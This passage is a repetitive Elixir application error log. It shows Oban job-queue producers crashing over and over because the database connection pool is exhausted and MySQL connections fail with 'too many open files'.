dispatch_timer: #Reference<0.2525715032.1077673987.9302>, refresh_timer: #Reference<0.2525715032.1121189889.144299>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:16.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1087ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:54:04.241331Z], limit: 10, uuid: "dfc2c7ae-f876-48c5-9adc-480c59e1050d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:04.241337Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.9300>, refresh_timer: #Reference<0.2525715032.1077673987.9290>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:16.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1053ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:54:04.238267Z], limit: 5, uuid: "85b0a973-abca-479f-ab4c-c57b895c6a50", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:04.238274Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.9301>, refresh_timer: #Reference<0.2525715032.1121189889.144288>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:16.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:54:04.239334Z], limit: 5, uuid: "f851a3f0-d96c-411d-935a-b4a535b179f3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:04.239338Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.9303>, refresh_timer: #Reference<0.2525715032.1099431938.36587>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:17.836000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:19.111000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:19.331000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:27.964000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:28.046000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 821ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:54:16.240806Z], limit: 10, uuid: "a4da9cae-43b5-4268-83c8-f17ad94457bf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:16.240811Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.9542>, refresh_timer: #Reference<0.2525715032.1077673987.9527>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 826ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:54:16.239555Z], limit: 50, uuid: "b95ce946-08be-498f-a939-77060b4230ef", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:16.239562Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.36371>, refresh_timer: #Reference<0.2525715032.1121189889.144445>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:28.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1005ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:54:16.240904Z], limit: 5, uuid: "b047f0b8-0414-4c12-97e4-dec9e28a8a0c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:16.240908Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.9543>, refresh_timer: #Reference<0.2525715032.1077673987.9531>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:28.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 856ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:54:16.241824Z], limit: 5, uuid: "f5f10b45-c1d9-4f0e-ab85-af07aaaca632", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:16.241829Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.36372>, refresh_timer: #Reference<0.2525715032.1099431938.36660>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:54:16.240578Z], limit: 3, uuid: "820f2e60-66a1-4370-8b25-9f6c79ba615e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:16.240583Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.9544>, refresh_timer: #Reference<0.2525715032.1077673987.9516>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:28.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 823ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
